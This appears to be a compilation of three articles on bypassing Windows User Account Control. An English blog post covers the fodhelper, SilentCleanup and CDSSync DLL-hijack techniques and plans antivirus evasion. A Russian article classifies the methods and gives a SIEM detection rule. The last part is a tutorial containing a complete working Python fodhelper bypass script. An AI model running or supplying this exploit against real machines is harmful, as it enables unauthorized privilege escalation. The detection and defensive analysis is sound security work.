Uac bypass windows 10

After researching various UAC bypass techniques, I conclude that the following are the main methodologies used:

Картинка с сайта: sh1bui.github.io

I find Registry Keys manipulation simpler, so I proceed with a first test exploiting the Fodhelper.exe executable.

Fodhelper

Fodhelper.exe is one of Windows default executables responsible for managing Windows optional features. Like most programs used for system configuration, fodhelper can automatically elevate himself when using default UAC settings, so administrators are not prompted by UAC to elevate the process when performing standard administrative tasks. What has been noticed about fodhelper is that it looks in the registry for a specific key HKCU:\Software\Classes\ms-settings\shell\open\command to execute its content. It will therefore be sufficient to modify the registry value to execute a command of our choice, automatically executed when we call the fodhelper.exe executable.

Below a simple implementation:

Картинка с сайта: sh1bui.github.io

Unfortunately, as simple and effective as it is, besides being detected by Windows Defender, it only works with UAC set to Notify me only when apps try to make changes to my computer.

SilentCleanup

Continuing the research, I identify another, more effective method that exploits Windows Scheduled Tasks, particularly the DiskCleanup service. It can be noticed that this task for its startup executes the command %windir%\system32\cleanmgr.exe and that the task is configured to run with the Users account, which means it will inherit privileges from the calling user. Also note the Run with highest privileges option enabled that will use the security token with the highest privileges available to the calling user, which for an administrator is the high-level token.

Картинка с сайта: sh1bui.github.io

I therefore proceed with the implementation by replacing the windir environment with the desired command and commenting out what comes next in the task scheduler:

Картинка с сайта: sh1bui.github.io

The solution works correctly in previous versions of W10 with Windows Defender disabled and UAC set to Always notify me, unfortunately in the latest builds it seems not to work correctly, giving an error in the execution of the task.

CDSSync

Finally, I find a solution that combines DLL Hijacking, modification of environment variables, and task scheduler.

The Task Scheduler launches the CDSSync task located in \Microsoft\Windows\WlanSvc, with the Run with highest privilegessetting enabled. It has been noticed that the execution of this task involves loading a DLL file present in %SystemRoot%\System32\npmproxy.dll. By modifying the SystemRoot environment variable of the current user to represent a custom Windows folder and inserting our malicious DLL, it is possible to launch any command as administrator, thus bypassing the UAC.

I therefore produce the malicious DLL to execute an example program colorcpl.exe and proceed with the implementation:

Картинка с сайта: sh1bui.github.io

Картинка с сайта: sh1bui.github.io

The script works correctly with UAC settings Always notify me, executing colorcpl.exe with high integrity but the DLL is detected by Windows Defender as malicious.

Картинка с сайта: sh1bui.github.io

Next Steps

As current script works correctly only with Windows Defender disabled, obfuscation of npmproxy.dll should be performed. As a next step analysis and implementation of different obfuscation technicques will be performed to complete the effectiveness of the UAC Bypass.

References

REF.1 — UACME repository
REF.2 — UAC Bypass techniques and detection
REF.3 — Hacktricks UAC

This post is licensed under CC BY 4.0 by the author.

Время на прочтение13 мин

Количество просмотров11K

Картинка с сайта: habr.com

Если коротко, UAC (User Account Control) – механизм, поддерживаемый всеми последними версиями Windows, который призван предотвратить несанкционированные административные действия, потенциально опасные для системы. UAC Bypass является достаточно распространённой атакой среди вредоносного ПО. Из последних ярких примеров – червь Raspberry Robin, который использует утилиту fodhelper.exe. Малварь, обнаруженная Microsoft, может обходить User Account Control (UAC) в зараженных системах с помощью легитимных инструментов Windows. Поэтому мы решили не проходить UAC Bypass стороной, а подробно его изучить.

В данном цикле статей мы проведем подробный разбор большого числа рабочих способов по обходу UAC и классифицируем их в категории, которые наиболее точно отражают возможный вариант выполнения атаки. После чего рассмотрим потенциальные способы детекта UAC Bypass.

Но для начала предлагаем ознакомиться с самим механизмом работы UAC немного глубже. Если для вас UAC не нуждается в представлении, то можете сразу переходить к разделу Способы обхода UAC.

Что такое UAC

Картинка с сайта: habr.com

User Account Control (UAC) – контроль учётных записей пользователей, который является одним из механизмов безопасности ОС Windows.
При отсутствии данного механизма, если пользователь запустит вредоносное программное обеспечение из-под своей сессии, то оно получит административные привилегии. В тоже время, при наличии включенного UAC в системе, пользователь по-прежнему будет обладать административными привилегиями, но его основной токен будет пользовательским. Поэтому все процессы, включая вредоносное ПО, запустятся с токеном обычного пользователя. По крайней мере в теории это выглядит так.

Настройки UAC

После выпуска ОС Windows Vista многие пользователи остались недовольны лишними действиями, которые им нужно было совершать, поэтому Microsoft решила добавить 2 дополнительные опции в настройках UAC, сильно снижающие его защиту: 

1. Always notify / Всегда уведомлять

2. Notify only when apps try to change settings, use the secure desktop (Новая опция) / Уведомлять только при попытках приложений изменять настройки, использовать secure desktop

3. Notify only when apps try to change settings, don’t use the secure desktop (Новая опция) / Уведомлять только при попытках приложений изменять настройки, не использовать secure desktop

4. Never notify / Никогда не уведомлять

Опция №2 по умолчанию включена в настройках системы. Несмотря на обилие опций на практике следует рассматривать только два варианта: всегда включена, либо не работает. Более подробно о работе опций можно узнать здесь.

Также были добавлены программы и функции, которые могут повышать свои привилегии при запуске, но без открытия окна UAC Prompt. Они содержат специальное свойство auto-elevate, которое применяется только если не включена опция Always notify. Но стоит отметить, что это справедливо не для всех программ, так как существуют и те, что работают даже если UAC включён в Always notify.

Способы обхода UAC

Обход UAC или UAC Bypass – это запуск процесса с полным административным токеном без необходимости выполнять подтверждение в интерактивном окне. Зачастую обход UAC используется вредоносным ПО, так как у последнего чаще всего отсутствует интерактивный доступ к машине.

Существуют несколько основных способов для обхода UAC, которые как по отдельности, так и в комбинации формируют методы обхода. Далее рассмотрим основные из этих способов.

Исполняемые файлы со свойством Auto-Elevate

Как было сказано ранее, у некоторых программ есть свойство auto — elevate. Оно позволяет выполнить запуск с полными правами администратора без необходимости спрашивать разрешения у пользователя. Свойство указывается в файле manifest.xml и оно присутствует у достаточно большого количества стандартных программ Microsoft. Здесь есть интересный момент: иногда в процесс выполнения кода можно вмешаться и без административных прав. Например, исполняемый файл msconfig.exe имеет встроенный функционал запуска других программ, которые будут наследовать его высокие привилегии.

Картинка с сайта: habr.com

На картинке выше показано, что с помощью msconfig.exe можно перейти во вкладку Tools и выбрать запуск cmd.exe. Запущенный от msconfig.exe, cmd.exe будет иметь полные административные права, хотя сам msconfig.exe запускался из-под процесса с низкими правами.

Проверить наличие свойства можно с помощью утилиты sigcheck из стандартного набора SysInternals. Помимо явного запуска исполняемых файлов, также используются DLL Hijacking, подмена переменных, аргументов и другие способы, чтобы выполнить произвольный код от имени исполняемых файлов такого рода.

COM-интерфейсы со свойством Auto-Elevate

Второй способ, позволяющий повысить права до административных – COM-интерфейсы. Для каждого интерфейса в реестре содержится запись: может ли он автоматически повышать права до административных.

Картинка с сайта: habr.com

Каждый COM-интерфейс имеет уникальный CLSID. На рисунке выше мы видим запись в реестре для интерфейса IFileOperation. Наличие записи Enabled со значением 1 в ключе Elevation подсказывает нам, что такой COM-интерфейс может запускаться с административными правами даже без UAC Prompt.

Комбинируя несколько COM-интерфейсов с разным функционалом, мы можем выполнять действия как администратор. Например, перемещать файлы в системные директории. Это предоставит нам возможность выполнить в дальнейшем DLL Hijacking и автоматически повысить свои привилегии.

Отметим, что не каждый процесс способен повысить свои права через COM-интерфейс: ОС выполняет проверку Command Line процесса, который вызывает этот интерфейс и повышает привилегии, только если он является доверенным. Тем не менее, данный момент достаточно легко обойти, если процесс решит изменить собственную переменную и представиться, например, explorer.exe. Для этого используется способ под названием Masquerade PEB, который олицетворяет изменение PEB (Process Environment Block) структуры, содержащий информацию о процессе.

Картинка с сайта: habr.com

Модификация реестра

Еще одна возможность внедрения в процесс исполнения кода auto-elevate программ заключается в модификации веток реестра, доступных для записи обычному пользователю. Некоторые из которых могут проверяться на наличие в них записей динамически подгружаемых библиотек, необходимых для импорта.

Возьмём fodhelper.exe. Исполняемый файл проверяет при запуске следующие ветки реестра:

• HKCU\Software\Classes\ms-settings\shell\open\command

• HKCR\ms-settings\shell\open\command

Как можно увидеть, HKCR\ms-settings\shell\open\command содержит ссылку на другую ветку реестра:

Картинка с сайта: habr.com

А она уже содержит путь до DLL, которая будет подгружена fodhelper.exe.

Картинка с сайта: habr.com

Так как у пользователя есть права на запись первой (HKCU) ветки реестра, то можно подделать запись, которая ведёт на другую ветку и заставить fodhelper.exe загрузить зловредную DLL.

Заметим, что в текущем примере можно увидеть, что модификация реестра является промежуточным этапом для выполнения атаки DLL Hijacking. Эту ситуацию можно и нужно детектировать с помощью событий, отражающих изменение реестра. Но существуют способы, которые не опираются ни на что кроме подмены библиотек.

Категории для детектирования UAC Bypass

В качестве базы для анализа методов нами был использован ресурс UACMe, который содержит информацию по 70+ методам обхода UAC. Многие из которых комбинируют несколько способов обхода, поэтому могут входить в две группы. Чтобы легче было разобраться приведем визуальную картинку в виде диаграммы по количеству методов в разных или смежных группах:

Картинка с сайта: habr.com

Проводя классификацию, мы постарались обобщить все методы, присутствующие в UACMe. Однако, 3 из них – являются исключениями и не попадают ни в одну из обозначенных групп. Это методы – 38 (APPINFO command line spoofing), 55 (UIPI bypass with token modification), 59 (AppInfo LRPC). Подробнее про них будет рассказано в следующей статье.

Разобрав способы обхода UAC и классифицировав методы, перейдем к процессу детектирования UAC Bypass. Для этого рассмотрим какие возможности для детектирования существуют.

Возможные варианты детектирование UAC Bypass

Источники для детектирования

Для возможного детектирования UAC Bypass в качестве источника детекта мы будем рассматривать:

• Журналы Windows и System Access Control List (SACL)

• Sysmon

• Event Tracing for Windows (ETW)

У каждого из этих источников есть особенности, выражающиеся как в плюсах, так и в минусах. Рассмотрим подробнее:

Журналы Windows и SACL

Windows (EventLog) является стандартным механизмом аудита в ОС Windows и относительно прост в настройке. Некоторые методы обхода UAC можно детектировать с его помощью почти также эффективно, как и другими источниками. Еще с помощью EventLog можно и нужно проверять события, которые поступают от Sysmon. Нам это понадобиться для детектирования использования Masquerade PEB.

System Access Control List (SACL) – это права, которые могут быть выставлены на любой объект ОС с целью фиксирования попытки обращения к защищаемому объекту. При подготовке правил детектирования на основе EventLog мы будем использовать SACL на файлы и ветки реестра. Здесь стоит уточнить важное «НО»: данный источник событий очень часто бывает ненадёжен. По двум причинам:

• Во-первых, событие 4663 (An attempt was made to access an object) можно обойти, если использовать системные вызовы (SysCalls). Например, создать файл с помощью функции NtCreateFile. Тогда в событиях будут присутствовать только события 4656 (A handle to an object was requested).

• Во-вторых, ОС Windows не применяет наследованные права автоматически, если новый файл перемещён в папку. Так как SACL – тоже права доступа, то они не будут применены автоматически. Это значит, что если мы выставим SACL на директорию С: \Windows\System32\ и на все подпапки и файлы, а после атакующий внесет туда свою DLL, то нужных нам событий мы не получим.

Sysmon

Sysmon (System Monitor) отлично работает с тем, чтобы детектировать DLL Hijacking и изменения, выполняемые в реестре. При логировании импорта DLL файлов событие с Event ID 7 предоставляет информацию о подписи этих самых DLL файлов. Таким образом, это будет основой для детектирования многих способов из группы DLL Hijacking, так как при штатной работе системы атакуемый исполняемый файл импортирует подписанные DLL.
При этом перемещение файлов – это на самом деле не только проблема SACL. Sysmon также не показывает данные действия, потому что у него отсутствует данный тип событий для логирования.

Вспомним еще тот факт, что остается трюк с Masquerade PEB: подменой собственных переменных в процессе, который мы рассматривали в разделе про COM-интерфейсы. Если процесс представится explorer.exe, то его действия будут фиксироваться так же, как действия explorer.exe, что отобразиться в логах Sysmon. Однако, у событий из EventLog  нет подобного недостатка, поэтому мы будем использовать их для проверки такого рода логов.
Еще отметим, что Sysmon практически ничего не показывает в отношении вызовов COM-интерфейсов.

ETW

ETW (Event Tracing for Windows) лучше всего использовать для детектирования вызова COM-интерфейсов, так как провайдер CombaseTraceLoggingProvider фиксирует вызовы вместе с процессом, который этот вызов совершает.

У ETW есть один минус: технологию почти никто не использует в рамках детектирования на SIEM. Это делает настройку сложной и персонализированной, так как мало вендоров включают эти логи в свои продукты. Но если разработчики не увидят в этом проблемы, то ETW станет прекрасным средством, чтобы детектировать атаки, связанные с COM- интерфейсами.

Детектирование UAC Bypass для COM-объектов

Учитывая все плюсы и минусы описанных выше источников событий, мы предлагаем свой подход к детектированию обхода UAC для COM-объектов.

Картинка с сайта: habr.com

Заметим, что атакующий не сможет исключить обращение к легитимной DLL, которая содержит нужный COM-интерфейс. Например, с помощью предварительной загрузки DLL в собственную память. В таком случае не будет автоматического повышения привилегий с помощью DllHost.exe (суррогатного хост-процесса для COM-объектов).

При обычной работе системы с возможностью auto-elevate COM-интерфейсы вызываются либо легитимными приложениями, либо при выдаче разрешения со стороны пользователя (UAC Prompt). Информацию о вызове легитимного приложения можно проверить с помощью информации из события 4688 (A new process has been created), в котором будут отражены данные об его месторасположении. А вот при участии пользователя не все так просто, но выход тем не менее есть. Мы можем детектировать наличие вызова окна UAC Promt, так как при атаке оно не вызывается. В этом нам может помочь consent.exe: он отвечает за вызов UAC Prompt, и при его отрисовке он импортирует C:\Windows\System32\credui.dll, который содержит в себе функции для конфигурации и вызова Credential UI.

Картинка с сайта: habr.com

Импорт происходит только в случае вызова UAC Prompt, что может косвенно подтвердить нам, имел ли пользователь возможность выдать разрешения или нет.

Правило детектирования

Выше мы описали маркеры, на основании которых теперь мы составим правило для возможного детектирования всех методов из группы COM. В данный момент используется ограниченный список COM-интерфейсов для обхода UAC.  Именно поэтому только они будут фигурировать в правиле:

• ColorDataProxy: D2E7041B-2927-42fb-8E9F-7CE93B6DC937

• CMSTPLUA: 3E5FC7F9-9A51-4367-9063-A120244FBEC7

• FwCplLua: 752438CB-E941-433F-BCB4-8B7D2329F0C8

• FileOperation: 3AD05575-8857-4850-9277-11B85BDB8E09

• ShellSecurityEditor: 4D111E08-CBF7-4f12-A926-2C7920AF52FC

• EditionUpgradeManager: 17CCA47D-DAE5-4E4A-AC42-CC54E28F334A

• IEAAddonInstaller: BDB57FF2-79B9-4205-9447-F5FE85F37312

• SecurityCenter: E9495B87-D950-4AB5-87A5-FF6D70BF3E90

Также в правиле мы будем опираться на два факта:

• Запрос CLSID интерфейса любым приложением

• Отсутствие импорта credui.dll с последующим запуском dllhost.exe с повышенными привилегиями

Таким образом мы можем выяснить, какой исполняемый файл использовал COM-интерфейс для повышения привилегий и при этом не вызвал UAC Prompt. При атаке правило должно сработать при наличии:

• События запроса к ключу реестра и события запуска dllhost.exe с повышенными привилегиями

• (Опционально) События импорта credui.dll выполняются только при условии согласия пользователя на повышение привилегий и служат маркером легитимных действий

(Process_Name!="C:\\Windows\\System32\\* "
(Object_Name="\\REGISTRY\\MACHINE\\SOFTWARE\\Classes\\CLSID\\{D2E7041B-2927-42fb-8E9F-7CE93B6DC937}" OR
Object_Name="\\REGISTRY\\MACHINE\\SOFTWARE\\Classes\\CLSID\\{752438CB-E941-433F-BCB4-8B7D2329F0C8}" OR 
Object_Name="\\REGISTRY\\MACHINE\\SOFTWARE\\Classes\\CLSID\\{3E5FC7F9-9A51-4367-9063-A120244FBEC7}" OR
Object_Name="\\REGISTRY\\MACHINE\\SOFTWARE\\Classes\\CLSID\\{3AD05575-8857-4850-9277-11B85BDB8E09}" OR
Object_Name="\\REGISTRY\\MACHINE\\SOFTWARE\\Classes\\CLSID\\{4D111E08-CBF7-4f12-A926-2C7920AF52FC}" OR 
Object_Name="\\REGISTRY\\MACHINE\\SOFTWARE\\Classes\\CLSID\\{17CCA47D-DAE5-4E4A-AC42-CC54E28F334A}" OR 
Object_Name="\\REGISTRY\\MACHINE\\SOFTWARE\\Classes\\CLSID\\{BDB57FF2-79B9-4205-9447-F5FE85F37312}" OR 
Object_Name="\\REGISTRY\\MACHINE\\SOFTWARE\\Classes\\CLSID\\{E9495B87-D950-4AB5-87A5-FF6D70BF3E90}")) OR 
(EventCode=4565 Process_Name="C:\\Windows\\System32\\consent.exe" Object_Name=C:\\Windows\\System32\\credui.dll) OR
(EventCode=4688 New_Process_Name="C:\\Windows\\System32\\dllhost.exe" Token_Elevation_Type="%%1937")

Детектирование изменений системной переменной WINDIR

Большое число методов для обхода UAC вносят изменения в системную переменную %windir%, поэтому логично держать ситуацию на контроле. Изменения можно выполнить с помощью модификации ветки реестра HCU\Environment\: например, переименовать HCU\Environment\, создать собственную ветку HCU\Environment\ с поддельным ключом windir, а потом вернуть все в исходное состояние. Такое поведение должно вызывать подозрение, не только при UAC Bypass, но и в целом, так как оно не характерно при обычной работе ОС.

Изменения системной переменной на практике можно отследить с помощью событий Sysmon 13 (RegistryEvent: Value Set) и 14 (RegistryEvent: Key and Value Rename), а также Security 4663, при настроенном SACL.

Анализ атрибутов безопасности

В одном из постов в твиттере James Forshaw подсветил характерные для auto-elevate процессов атрибуты:

Tiraniddo: Not seen these before. Token security attributes which indicate if a process has be UAC auto elevated (LUA://HdAutoAp) and whether it’s descended from an auto elevated app (LUA://DecHdAutoAp). Might be useful for detecting the results of UAC bypasses in the wild.The second attribute is automatically inherited to children. So it’d show up if a someone injects a dll into an auto elevate process then immediately spawns a new process.

Картинка с сайта: habr.com

Первый атрибут появляется у процессов, которые автоматически повышают права, а второй наследуется дочерними процессами с такими же правами. Это может быть полезно для того, чтобы не составлять список всех возможных дочерних процессов для каждого auto-elevate исполняемого файла.

Машинное обучение

Еще одним помощником в обнаружении может стать поведенческий анализ, механизмы которого используются в специализированных платформах для выявления аномальных активностей.

Основная проблема UAC Bypass заключается в борьбе с ложными срабатываниями, появляющимися при легитимной работе auto-elevate исполняемых файлов. Использование машинного обучения удобно для того, чтобы показать полную картину того, насколько часто процессы, требующие повышенных привилегий, запускались в системе. И, следовательно, при наличии отклонения формировать соответствующее оповещение.

В этой статье мы рассмотрели примеры UAC Bypass, привели категории методов и выявили возможные способы обхода UAC и его детектирования. В следующем материале мы попробуем сделать более углубленный разбор нескольких, выбранных нами методов обхода UAC и предложить свой возможный вариант их детектирования.

Если у вас появились вопросы по статье, пишите нам в комментариях!

In May of 2017, a German student (Cristian B.) discovered a vulnerability in Windows 10 that allows any command to be executed with a high level of privileges without prompting the UAC.

The technique takes advantage of a “trusted binary” called fodhelper.exe to trick its execution.

Windows UAC

User Account Control (UAC) is a security component in Windows operating systems that enables users to perform common tasks as non-administrators and as administrators without having to switch users, log off, or use the option “Run As.”

Every time that a user attempts to perform a task that requires a user administrative access, the consent prompt is presented:

Картинка с сайта: dzone.com

The Trusted Binary

The fodhelper.exe is a “trusted binary” located under C:\Windows\System32. It runs when a user requests to open “Manage Optional Features” option in the “Apps & features” Windows Settings screen.

Картинка с сайта: dzone.com

The binary contains “auto-elevation” settings in its manifest file, it’s created and digitally signed by Microsoft, and is housed in a trusted file location(C:\Windows\System32). This means that a UAC prompt won’t show when running this binary.

In short, what was found was that during the execution of the fodhelper.exe binary, the OS looks for additional commands to be executed based on two registry keys:

Software\Classes\ms-settings\shell\open\command\(default)
Software\Classes\ms-settings\shell\open\command\DelegateExecute

With that in mind, an attacker could change those registry keys and delegate any kind of code to be executed on the users’ behalf without any consent.

Using Python to Bypass the UAC

Let’s get started writing a simple Python script that checks if the user is running the script with administrative privileges:

import os
import sys
import ctypes
import _winreg

def is_running_as_admin():
    '''
    Checks if the script is running with administrative privileges.
    Returns True if is running as admin, False otherwise.
    '''    
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False

def execute():
    if not is_running_as_admin():
        print '[!] The script is NOT running with administrative privileges'    
    else:
        print '[+] The script is running with administrative privileges!'

if __name__ == '__main__':
    execute()

If you’re NOT running the Python script as admin, you’ll get the following message:

 [!] The script is NOT running with administrative privileges 

Now, let’s change our code to bypass the UAC and run the script again with administrative privileges:

import os
import sys
import ctypes
import _winreg

CMD                   = r"C:\Windows\System32\cmd.exe"
FOD_HELPER            = r'C:\Windows\System32\fodhelper.exe'
PYTHON_CMD            = "python"
REG_PATH              = 'Software\Classes\ms-settings\shell\open\command'
DELEGATE_EXEC_REG_KEY = 'DelegateExecute'

def is_running_as_admin():
    '''
    Checks if the script is running with administrative privileges.
    Returns True if is running as admin, False otherwise.
    '''    
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False

def create_reg_key(key, value):
    '''
    Creates a reg key
    '''
    try:        
        _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, REG_PATH)
        registry_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, REG_PATH, 0, _winreg.KEY_WRITE)                
        _winreg.SetValueEx(registry_key, key, 0, _winreg.REG_SZ, value)        
        _winreg.CloseKey(registry_key)
    except WindowsError:        
        raise

def bypass_uac(cmd):
    '''
    Tries to bypass the UAC
    '''
    try:
        create_reg_key(DELEGATE_EXEC_REG_KEY, '')
        create_reg_key(None, cmd)    
    except WindowsError:
        raise

def execute():        
    if not is_running_as_admin():
        print '[!] The script is NOT running with administrative privileges'
        print '[+] Trying to bypass the UAC'
        try:                
            current_dir = os.path.dirname(os.path.realpath(__file__)) + '\\' + __file__
            cmd = '{} /k {} {}'.format(CMD, PYTHON_CMD, current_dir)
            bypass_uac(cmd)                
            os.system(FOD_HELPER)                
            sys.exit(0)                
        except WindowsError:
            sys.exit(1)
    else:
        print '[+] The script is running with administrative privileges!'        

if __name__ == '__main__':
    execute()

This time, if we run the script, another cmd will be prompted:

Картинка с сайта: dzone.com

What just happened?

Basically, the script registered two keys under “Software\Classes\ms-settings\shell\open\command”(check regedit) telling the OS to execute our script every time that the binary fodhelper.exe is executed. Right after we registered the keys, we executed the binary file.

Картинка с сайта: dzone.com

Preventing the Exploitation

To prevent malicious code from being executed utilizing this exploitation, the UAC level can be set to “Always Notify” and a better solution would be that users stop using administrator accounts if they don’t need to (since this technique only works if the user is part of the operating system’s administrator group).